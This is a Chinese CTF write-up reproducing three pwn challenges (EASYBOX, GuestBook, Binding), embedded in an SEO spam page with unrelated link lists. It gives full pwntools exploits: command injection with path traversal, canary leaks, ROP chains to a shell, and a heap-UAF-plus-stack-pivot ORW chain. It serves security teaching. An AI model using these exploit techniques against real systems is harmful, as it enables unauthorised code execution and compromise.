当前位置: 首页 > news >正文

wordpress博客主机选择海口百度seo

wordpress博客主机选择,海口百度seo,wordpress翻墙,杭州做产地证去哪个网站前言 笔者没有参加此次比赛#xff0c;由于团队后面会复现此次比赛#xff0c;所以笔者在此进行复现记录。 EASYBOX 考点#xff1a;命令执行#xff1f; 栈溢出 附件给了 docker 环境#xff0c;可以直接在本地复现#xff0c;但是 docker 我不会调试#xff0c;幸…前言 笔者没有参加此次比赛由于团队后面会复现此次比赛所以笔者在此进行复现记录。 EASYBOX 考点命令执行 栈溢出 附件给了 docker 环境可以直接在本地复现但是 docker 我不会调试幸好这题也不用调试。 程序没开 PIE有 systemsh 字符串。然后在一开始的时候把 canary 写进了/secret/canary.txt 文件中。 漏洞分析 漏洞1 在 pingCommand 函数中对输入的字符检查不够严格导致存在命令注入例如我们可以通过 0echo data 向 /tmp/result.txt 文件中写入内容。 这个环境好像没有 tac/less/more 等命令然后 cat 被过滤了所以这里似乎没办法直接读文件内容。还需要注意的是 sprintf 会被 \x00 截断但是这个无关紧要的可以 base 一下去除 \x00。 漏洞2 这里首先存在目录穿越也是对输入的文件名检查不严格导致。然后后面那个溢出漏洞很明显其实大家写过程序都知道对于文件的读取一般都是根据文件大小去 malloc 一个对应的空间。而这里如果文件大小大于 72 则导致栈溢出。 漏洞利用 1、先利用 CAT 功能配合目录穿越读取 canary 2、再利用 PING 功能往 result.txt 文件中写入 rop 链 3、最后利用 CAT 功能读取 result.txt 造成栈溢出 exp 如下 from pwn import * import base64 context.terminal [tmux, splitw, -h] context(arch amd64, os linux) #context(arch i386, os linux) #context.log_level debug#io process(./pwn) io remote(127.0.0.1, 9999) elf ELF(./pwn) libc elf.libcdef debug():gdb.attach(io)pause()sd lambda s : io.send(s) sda lambda s, n : io.sendafter(s, n) sl lambda s : io.sendline(s) sla lambda s, n : io.sendlineafter(s, n) rc lambda n : io.recv(n) rl lambda : io.recvline() rut lambda s : io.recvuntil(s, dropTrue) ruf lambda s : io.recvuntil(s, dropFalse) addr4 lambda n : u32(io.recv(n, timeout1).ljust(4, b\x00)) addr8 lambda n : u64(io.recv(n, timeout1).ljust(8, b\x00)) addr32 lambda s : u32(io.recvuntil(s, dropTrue, timeout1).ljust(4, b\x00)) addr64 lambda s : u64(io.recvuntil(s, dropTrue, timeout1).ljust(8, b\x00)) byte lambda n : str(n).encode() info lambda s, n : print(\033[31m[s - str(hex(n))]\033[0m) sh lambda : io.interactive() menu bpop_rdi 0x0000000000401ce3 # pop rdi ; ret sh_addr 0x0000000000402090 system 0x00000000004018B2sla(bname: , bXiaozaYa) sla(b$ , bCAT) sla(bview: , b../../secret/canary.txt) canary int(rl(), 16) info(canary, canary)rop bA*72 p64(canary) p64(0xdeadbeef) p64(pop_rdi) p64(sh_addr) p64(system) rop base64.b64encode(rop) pay b0;echo rop b | base64 -d print(hex(len(pay)), :, pay)sla(b$ , bPING) sla(baddress: , pay) sla(b$ , bCAT) sla(bview: , bresult.txt)#debug() sh() 效果如下 GuestBook 考点栈溢出 没开 PIE有后门有栈溢出其实没啥好说的了 read 那里溢出到了 canary所以可以直接修改 canary 最后一个字节然后泄漏出 canary。后面一个白给的栈溢出strcpy 存在 \x00 截断所以 canary 分两次写即可。然后就直接跳到后门即可。 exp如下 from pwn import * context.terminal [tmux, splitw, -h] context(arch amd64, os linux) #context(arch i386, os linux) #context.log_level debugio process(./pwn) elf ELF(./pwn) libc elf.libcdef debug():gdb.attach(io)pause()sd lambda s : io.send(s) sda lambda s, n : io.sendafter(s, n) sl lambda s : io.sendline(s) sla lambda s, n : io.sendlineafter(s, n) rc lambda n : io.recv(n) rl lambda : io.recvline() rut lambda s : io.recvuntil(s, dropTrue) ruf lambda s : io.recvuntil(s, dropFalse) addr4 lambda n : u32(io.recv(n, timeout1).ljust(4, b\x00)) addr8 lambda n : u64(io.recv(n, timeout1).ljust(8, b\x00)) addr32 lambda s : u32(io.recvuntil(s, dropTrue, timeout1).ljust(4, b\x00)) addr64 lambda s : u64(io.recvuntil(s, dropTrue, timeout1).ljust(8, b\x00)) byte lambda n : str(n).encode() info lambda s, n : print(\033[31m[s - str(hex(n))]\033[0m) sh lambda : io.interactive() menu bsda(bname: , bA*23 bX bY) rut(bX) canary addr8(8) - ord(Y) rbp addr8(6) info(canary, canary) info(rbp, rbp)sla(b): , b2)pay bA*(0xA0 - 8) p64(canary ord(A)) bAAAAAAAA b\xc3\x12\x40 sl(pay)sleep(0.01) pay bA*(0xA0 - 8 - 0x20) sl(pay) #debug() sh() 效果如下 Binding 考点栈溢出这题套一个堆的壳子其实就是一个栈迁移打 orw 的题目 题目实现了一个菜单堆这里就只说下漏洞点 漏洞1 漏洞主要在 edit 函数中首先就是一个贴脸的栈溢出但是只溢出 0x10 字节所以想利用的话基本就是栈迁移。 然后还有一个致命的漏洞感觉非常莫名其妙add 会申请两个堆块其结构是这样的 也就是说 edit 每次先修改的 0x100 上面的指针然后在根据指针去写那这不就是白给的 8 字节任意地址写吗但是注意这里有个 *ptr (unsigned __int8*)*ptr这导致后面其实只能写一字节。 漏洞2 没有将指针置空可以利用 UAF 去泄漏 libc_base/heap_base。由于这里使用的是 calloc 所以 double free 不好直接打因为题目限制了堆块的大小在 [0x100, 0x200] 之间所以不会落在 fastbin 中。  利用思路 1、 UAF 泄漏 libc_base/heap_base 2、任意写修改 tcbhead_t 结构体中的 stack_guard 从而绕过 canary 保护 3、栈迁移到堆上打 orw exp 如下 from pwn import * context.terminal [tmux, splitw, -h] context(arch amd64, os linux) #context(arch i386, os linux) #context.log_level debugio process(./pwn) elf ELF(./pwn) libc elf.libcdef debug():gdb.attach(io)pause()sd lambda s : io.send(s) sda lambda s, n : io.sendafter(s, n) sl lambda s : io.sendline(s) sla lambda s, n : io.sendlineafter(s, n) rc lambda n : io.recv(n) rl lambda : io.recvline() rut lambda s : io.recvuntil(s, dropTrue) ruf lambda s : io.recvuntil(s, dropFalse) addr4 lambda n : u32(io.recv(n, timeout1).ljust(4, b\x00)) addr8 lambda n : u64(io.recv(n, timeout1).ljust(8, b\x00)) addr32 lambda s : u32(io.recvuntil(s, dropTrue, timeout1).ljust(4, b\x00)) addr64 lambda s : u64(io.recvuntil(s, dropTrue, timeout1).ljust(8, b\x00)) byte lambda n : str(n).encode() info lambda s, n : print(\033[31m[s - str(hex(n))]\033[0m) sh lambda : io.interactive() menu bYour choice: def add(idx, size, data, flagTrue):sla(menu, b1)sla(bIdx:, byte(idx))sla(bSize:, byte(size))if flag:sda(bContent:, data)else:sla(bContent:, data)def edit(idx, data0, data1, flagTrue):sla(menu, b2)if flag:sda(bIdx:, byte(idx))else:sda(bIdx:, idx)sda(bcontext1: , data0)sda(bcontext2: , data1)def show(idx, cmd0):sla(menu, b3)sla(bYour choice:, byte(cmd))sla(bIdx:, byte(idx))def dele(idx):sla(menu, b4)sla(bIdx:, byte(idx))for i in range(6):add(i, 256, bA\n)for i in range(1, 5):dele(i)show(2, 0) rut(b: ) heap_base addr8(6) - 0x5d0 info(heap_base, heap_base) show(4, 1) rut(b: ) libc_base addr8(6) - 0x1ecbe0 libc.address libc_base TLS_canary libc_base 0x1f3568 info(libc_base, libc_base) info(TLS_canary, TLS_canary)pop_rdi libc_base 0x0000000000023b6a # pop rdi ; ret pop_rsi libc_base 0x000000000002601f # pop rsi ; ret pop_rdx libc_base 0x0000000000142c92 # pop rdx ; ret leave_ret libc_base 0x00000000000578c8 # leave ; retorw p64(pop_rdi) p64(heap_base0xcd8) p64(pop_rsi) p64(0) p64(pop_rdx) p64(0) p64(libc.sym.open) orw p64(pop_rdi) p64(3) p64(pop_rsi) p64(heap_base0x300) p64(pop_rdx) p64(0x40) p64(libc.sym.read) orw p64(pop_rdi) p64(1) p64(pop_rsi) p64(heap_base0x300) p64(pop_rdx) p64(0x40) p64(libc.sym.write) orw b./flag\x00\x00 info(orw len, len(orw)) add(7, 256, orw)pay b0.ljust(0x28, b\x00) bA\x00\x00\x00\x00\x00\x00\x00 p64(heap_base0xc28) p64(leave_ret) edit(pay, p64(TLS_canary), bAAAAAAAA, False) #debug() sh() 效果如下
http://www.yutouwan.com/news/68618/

相关文章:

  • 福州做网站企业网页设计图片代码怎么写
  • 网站前台可以打开怎么做纯文本网站
  • 集团公司门户网站建设wordpress多边形按钮
  • 网页设计与网站开发第三版课后答案wordpress考试主题
  • 网监关闭的网站怎么恢复响应式网站源码下载
  • 网站关键词优化快速排名中国工程建设协会网站
  • 本地网站建设教程xampp临安做企业网站的公司
  • 网站的下拉列表怎么做论述简述网站制作的步骤
  • 河南今天刚刚发生的新闻事件seo课程哪个好
  • 保姆给老人做爰神马网站什么店是做网站制作的
  • 制作网站空间域名移动应用开发是学什么的
  • 网站建设推广价格公司网站建设费用会计入账
  • 设计网站专题页包括那些项目免费销售网站模板下载
  • 做pc端网站哪家好电商设计包括什么
  • 建设网站一定要电脑吗wordpress指定文章标题
  • 做网站需要团队还是一个人手机网站建设模板
  • 营销型网站建设专家seo 网站树
  • c 做网站开发自己建的网站打不开
  • 西安网站建设电话咨询商贸有限公司经营范围
  • 怎样利用网站做引流济南网站seo 优帮云
  • 备案ip 查询网站查询网站查询深圳鲜花团购网站建设
  • 网站三要素ui设计师需要考证吗
  • 建设资格注册管理中心网站wordpress加首页
  • 官方网站下载安装云支付深圳市房地产信息网官网
  • 阜宁做网站工作室2022年卡一卡二卡三精品
  • 苏州园区网站设计公司荆门刚刚发布的
  • 网站icp备案代理网站html静态化
  • 公司网站建设方案ppt建立公司网站需要注意什么
  • 站长工具seo优化吉安县规划建设局网站
  • 建站行业前景怎么样微网站怎么做的